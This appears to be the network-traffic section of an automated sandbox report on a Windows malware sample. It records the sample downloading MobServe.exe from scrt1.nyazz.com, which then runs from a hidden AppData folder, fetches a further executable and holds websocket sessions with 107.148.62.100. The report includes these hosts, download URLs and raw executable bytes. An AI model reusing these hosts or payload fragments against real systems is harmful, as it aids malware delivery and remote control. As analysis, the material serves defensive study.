Dec 18, 2024 13:36:14.545753002 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.546200991 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.547364950 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.547403097 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.547489882 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.547806978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.547852039 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.551059008 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.551261902 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.551306963 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.551681995 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.593580008 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.598685026 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.598953962 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.599004030 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.599355936 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.599807978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.599849939 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.600049973 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.600524902 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.600564003 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.681797981 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.682020903 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.682080030 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.682431936 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.684447050 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.684525967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.684576035 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.684916019 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.685019970 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.687340021 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.687594891 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.687633991 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.688038111 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.689511061 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.689555883 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.689738035 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.690174103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.690217018 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.691461086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.691713095 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.691750050 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.692197084 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.694595098 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.694782019 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.694842100 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.695343018 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.695415020 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.697509050 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.697757959 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.697803020 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.698046923 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.699992895 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.700035095 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.700340986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.700618982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.700674057 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.701993942 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.702291965 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.702419043 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.702702045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.705037117 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.705081940 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.705259085 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.705653906 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.705697060 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.706136942 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.706409931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.706445932 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.706830025 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.708693981 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.708731890 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.709131002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.709518909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.709635973 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.710848093 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.711055040 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.711090088 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.711551905 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.713329077 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.713372946 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.713507891 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.713944912 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.714023113 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.715720892 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.716033936 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.716236115 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.716487885 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.718154907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.718195915 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.718358994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.718803883 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.718842983 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.720489025 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.720839024 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.720949888 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.721265078 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.723040104 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.723078966 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.723236084 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.723689079 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.723771095 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.725585938 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.725837946 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.725873947 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.726311922 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.728287935 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.728327990 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.728523016 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.728995085 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.729051113 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.730756998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.731033087 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.731076002 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.731443882 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.733186960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.733226061 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.733453035 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.733875990 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.733920097 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.735991955 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.736057997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.736290932 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.736593008 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.738168001 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.738233089 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.738383055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.738825083 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.738862991 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.741233110 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.741475105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.741523027 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.741906881 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.744075060 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.744119883 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.744290113 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.744668007 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.744712114 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.746377945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.746619940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.746660948 CET	49844	8084	192.168.2.6	107.148.62.100

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 13:35:26.965615034 CET	192.168.2.6	1.1.1.1	0x34e5	Standard query (0)	scrt1.nyazz.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:36:05.427381992 CET	192.168.2.6	1.1.1.1	0xd15b	Standard query (0)	ssh.0523qyfw.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:36:06.435168982 CET	192.168.2.6	1.1.1.1	0x6b3f	Standard query (0)	www.61xdm.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 13:35:27.105516911 CET	1.1.1.1	192.168.2.6	0x34e5	No error (0)	scrt1.nyazz.com		118.107.29.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:36:05.566117048 CET	1.1.1.1	192.168.2.6	0xd15b	Name error (3)	ssh.0523qyfw.com	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:36:06.574542999 CET	1.1.1.1	192.168.2.6	0x6b3f	No error (0)	www.61xdm.com	61xdm.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:36:06.574542999 CET	1.1.1.1	192.168.2.6	0x6b3f	No error (0)	61xdm.com		107.148.51.200	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49727	154.19.200.133	8087	7116	C:\Users\user\Desktop\T2dvU8f2xg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:35:26.969700098 CET	132	OUT	POST /count HTTP/1.1 Host: 154.19.200.133:8087 Accept: / Content-Length: 0 Content-Type: application/x-www-form-urlencoded

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49844	107.148.62.100	8084	3004	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:36:09.476500034 CET	1024	OUT	GET /?a=w64&h=107.148.62.100&t=ws_&p=8084 HTTP/1.1 Host: 107.148.62.100:8084 Data Raw: 00 00 00 00 00 00 00 26 9a 3a b4 fd 7f 00 00 00 00 93 e4 f7 7f 00 00 02 00 00 00 fd 7f 00 00 00 00 00 00 00 00 00 00 af f2 10 b2 fd 7f 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 45 45 3e b4 fd 7f 00 00 00 00 e1 c4 8c 00 00 00 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 b0 33 d3 e4 f7 7f 00 00 a0 32 a7 69 d8 01 00 00 ff 9a 3a b4 fd 7f 00 00 48 a0 10 e5 f7 7f 00 00 00 00 93 e4 f7 7f 00 00 02 00 00 00 fd 7f 00 00 a0 32 a7 69 d8 01 00 00 00 00 00 00 00 00 00 00 85 03 fe 7f 00 00 00 00 15 00 00 00 00 00 00 00 d3 e6 3c b4 fd 7f 00 00 00 12 1b b1 fd 7f 00 00 b4 d9 3e b4 fd 7f 00 00 00 00 00 00 00 00 00 00 00 f0 ff c4 8c 00 00 00 00 00 00 00 00 00 00 00 6f df 3b b4 fd 7f 00 00 00 12 1b b1 fd 7f 00 00 55 79 3a b4 fd 7f 00 00 00 00 a7 69 d8 01 00 00 e8 c9 a9 69 d8 01 00 00 00 f0 ff c4 8c 00 00 00 00 12 1b b1 fd 7f 00 00 00 93 a9 69 d8 01 00 00 ad 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 c9 a9 69 d8 01 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 e0 c9 a9 [TRUNCATED] Data Ascii: &:EE> 32i:H2i<>o;Uy:iiiiigWPi-iy:=y:iiPii;iiihK@i0i:M;i0dC>iD> +>Pi3i:3ii+D
Dec 18, 2024 13:36:10.991794109 CET	189	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: application/x-download;charset=utf-8 Content-Disposition:attachment; filename=windows_amd64.exe Content-Length: 19969280

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49959	107.148.62.100	8084	3004	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:37:00.149679899 CET	158	OUT	GET / HTTP/1.1 Host: 107.148.62.100:8084 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: YZmaWYFLFkkxnSe9G1KL+w==
Dec 18, 2024 13:37:01.652718067 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: CzQzC/XvMOXZj+DSTiRNWlZu500=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49975	107.148.62.100	8084	3004	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:37:05.090027094 CET	158	OUT	GET / HTTP/1.1 Host: 107.148.62.100:8084 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: k9momah9+dgWSbK2PyPqdg==
Dec 18, 2024 13:37:06.593528032 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: dxmZ5Hnfdp2cfvIX/pW6vYzMGXI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49981	107.148.62.100	8084	3004	C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:37:07.868485928 CET	158	OUT	GET / HTTP/1.1 Host: 107.148.62.100:8084 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: y7FDFWpXfMu14TOa4bn1dg==
Dec 18, 2024 13:37:09.383363008 CET	129	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: e9c8GOGFotNXKvHw6YMMzVs+jtg=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49728	118.107.29.172	443	7116	C:\Users\user\Desktop\T2dvU8f2xg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:35:29 UTC	102	OUT	GET /MobServe.exe HTTP/1.1 User-Agent: Downloader Host: scrt1.nyazz.com Cache-Control: no-cache
2024-12-18 12:35:30 UTC	295	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 12:35:29 GMT Content-Type: application/octet-stream Content-Length: 22998363 Last-Modified: Tue, 17 Dec 2024 10:31:19 GMT Connection: close ETag: "676152f7-15eed5b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-18 12:35:30 UTC	16089	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 18 00 00 00 00 00 00 5c 54 01 c3 3e 00 00 f0 00 26 00 0b 02 02 2a 00 48 40 00 00 26 79 00 00 12 05 00 f7 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 5a 01 00 06 00 00 6b da 5f 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd\T>&*H@&y@@Zk_`
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: ef f2 66 0f 6f e6 66 0f 72 f4 0c 66 0f 72 d6 14 66 0f ef f4 66 0f fe d6 66 44 0f ef f2 66 41 0f 6f e6 66 0f 72 f4 08 66 41 0f 72 d6 18 66 44 0f ef f4 66 45 0f fe d6 66 41 0f ef f2 66 0f 6f e6 66 0f 72 f4 07 66 0f 72 d6 19 66 0f ef f4 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 0c 66 0f 72 d7 14 66 0f ef fc 66 0f fe df 66 44 0f ef fb 66 41 0f 6f e7 66 0f 72 f4 08 66 41 0f 72 d7 18 66 44 0f ef fc 66 45 0f fe df 66 41 0f ef fb 66 0f 6f e7 66 0f 72 f4 07 66 0f 72 d7 19 66 0f ef fc 66 0f fe c5 66 44 0f ef f8 66 41 0f 6f e7 66 0f 72 f4 10 66 41 0f 72 d7 10 66 44 0f ef fc 66 45 0f fe d7 66 41 0f ef ea 66 0f 6f e5 66 0f 72 f4 0c 66 0f 72 d5 14 66 0f ef ec 66 0f fe Data Ascii: fofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrfffDfAofrfArfDfEfAfofrfrff
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: 22 78 00 01 b8 01 00 00 00 bb 00 00 02 00 b9 00 40 00 00 e8 2f 44 04 00 83 3d 58 65 7c 00 00 74 13 e8 a1 24 07 00 49 89 03 48 8b 0d 07 22 78 00 49 89 4b 08 48 89 05 fc 21 78 00 48 8b 44 24 50 48 89 44 24 48 66 90 e8 5b 41 07 00 45 0f 57 ff 4c 8b 35 98 62 7c 00 65 4d 8b 36 4d 8b 36 48 8b 05 d2 21 78 00 48 8b 0c 24 31 db 48 8d 7c 24 48 be 01 00 00 00 49 89 f0 45 31 c9 45 31 d2 4d 89 d3 e8 e1 46 04 00 48 8b 44 24 50 e8 d7 04 04 00 eb 2f 80 3d 96 21 78 00 00 74 26 31 c0 e8 c5 04 04 00 c6 05 86 21 78 00 00 48 8d 05 77 21 78 00 e8 d2 01 00 00 48 8b 05 7b 21 78 00 e8 86 4c 04 00 90 90 48 8d 05 5d 21 78 00 e8 38 4f 00 00 48 83 c4 58 5d c3 48 89 44 24 08 e8 88 04 07 00 48 8b 44 24 08 0f 1f 00 e9 7b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: "x@/D=Xe\|t$IH"xIKH!xHD$PHD$Hf[AEWL5b\|eM6M6H!xH$1H\|$HIE1E1MFHD$P/=!xt&1!xHw!xH{!xLH]!x8OHX]HD$HD${
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: 00 e8 01 27 00 00 83 3d 6a 25 7c 00 00 75 1d 48 8b 4c 24 20 48 89 48 10 44 0f 11 78 18 48 89 c3 48 8d 05 00 e3 47 00 e8 fb 59 06 00 e8 76 e4 06 00 48 8b 4c 24 20 49 89 0b eb d4 48 89 44 24 08 e8 22 c5 06 00 48 8b 44 24 08 eb 9b cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 48 8b 10 b9 01 00 00 00 48 89 c6 48 89 d0 48 89 f3 e8 12 07 06 00 48 89 44 24 18 48 89 c3 48 8b 4c 24 38 48 8b 44 24 30 e8 db 40 06 00 48 8b 44 24 18 48 83 c4 20 5d c3 48 89 44 24 08 48 89 5c 24 10 e8 a1 c4 06 00 48 8b 44 24 08 48 8b 5c 24 10 eb 95 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 4a 55 48 89 e5 48 83 ec 20 48 89 44 24 30 48 89 5c 24 38 Data Ascii: '=j%\|uHL$ HHDxHHGYvHL$ IHD$"HD$I;fvJUHH HD$0H\$8HHHHHD$HHL$8HD$0@HD$H ]HD$H\$HD$H\$I;fvJUHH HD$0H\$8
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: 19 0f b7 7b 52 48 0f af fe 48 03 78 18 0f b6 3f 83 c7 fe 90 40 80 ff 03 72 d7 48 39 f1 75 4e 83 3d 51 e5 7b 00 00 90 74 0c 48 8b 48 18 e8 75 a4 06 00 49 89 0b 48 c7 40 18 00 00 00 00 48 8b 48 28 48 85 c9 74 1d 83 3d 2a e5 7b 00 00 74 0c 48 8b 51 08 e8 4f a4 06 00 49 89 13 48 c7 41 08 00 00 00 00 0f b6 48 08 83 e1 f7 88 48 08 5d c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 e4 84 06 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 30 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 46 01 00 00 55 48 89 e5 48 83 ec 10 89 4c 24 30 48 85 db 0f 84 c3 00 00 00 48 83 3b 00 0f 84 b9 00 00 00 48 89 44 24 20 48 89 5c 24 28 0f b6 4b 08 f6 c1 04 74 1b 48 8d 05 4e d7 4d 00 bb 21 00 00 00 e8 13 a2 02 00 48 8b 44 24 20 48 8b 5c 24 28 80 Data Ascii: {RHHx?@rH9uN=Q{tHHuIH@HH(Ht=*{tHQOIHAHH]HD$H\$HL$HD$H\$HL$0I;fFUHHL$0HH;HD$ H\$(KtHNM!HD$ H\$(
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: e8 02 de 05 00 48 89 d0 b9 88 00 00 00 e8 55 68 06 00 90 48 89 44 24 08 88 5c 24 10 e8 46 45 06 00 48 8b 44 24 08 0f b6 5c 24 10 e9 b7 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 93 01 00 00 55 48 89 e5 48 83 ec 40 48 8d 93 00 20 00 00 0f 1f 80 00 00 00 00 48 39 d3 0f 87 62 01 00 00 48 89 5c 24 58 88 4c 24 60 48 89 d8 48 c1 e8 0d 48 8d 50 01 0f b6 f1 40 88 74 24 1f 48 f7 c3 ff 1f 00 00 48 0f 45 c2 48 89 44 24 28 48 89 c2 48 c1 e2 0d 48 89 54 24 38 48 89 c7 48 89 d0 48 89 fb e8 b1 14 01 00 90 90 48 8d 05 a8 bf 77 00 48 8b 5c 24 28 0f b6 4c 24 1f e8 39 31 01 00 48 85 c0 0f 84 ea 00 00 00 48 89 44 24 20 48 8d 05 04 e8 7b 00 0f 1f 40 00 e8 5b f8 01 00 48 8b 4c 24 38 f0 48 0f c1 48 38 b9 01 00 00 00 f0 48 0f Data Ascii: HUhHD$\$FEHD$\$I;fUHH@H H9bH\$XL$`HHHP@t$HHEHD$(HHHT$8HHHHwH\$(L$91HHD$ H{@[HL$8HH8H
2024-12-18 12:35:30 UTC	16384	IN	Data Raw: 20 5d c3 0f 1f 40 00 e8 5b 05 06 00 eb 99 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 c0 00 00 00 55 48 89 e5 48 83 ec 18 48 8d 05 47 8a 45 00 bb 02 00 00 00 66 90 e8 3b e4 fe ff 48 89 44 24 10 48 8d 05 6f e7 47 00 e8 aa 66 ff ff 48 8d 0d 03 01 00 00 48 89 08 83 3d 09 65 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 2b 24 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 e8 da ef 02 00 48 8d 05 33 e7 47 00 e8 6e 66 ff ff 48 8d 0d 67 00 00 00 48 89 08 83 3d cd 64 7b 00 00 75 07 48 8b 4c 24 10 eb 0d e8 ef 23 06 00 48 8b 4c 24 10 49 89 0b 48 89 48 08 0f 1f 00 e8 9b ef 02 00 48 8b 44 24 10 31 db e8 cf f3 fe ff 48 8b 44 24 10 31 db e8 c3 f3 fe ff c6 05 34 c6 7b 00 01 48 83 c4 18 5d c3 e8 71 04 06 00 e9 2c ff ff ff cc cc cc cc Data Ascii: ]@[I;fUHHHGEf;HD$HoGfHH=e{uHL$+$HL$IHHH3GnfHgH=d{uHL$#HL$IHHHD$1HD$14{H]q,
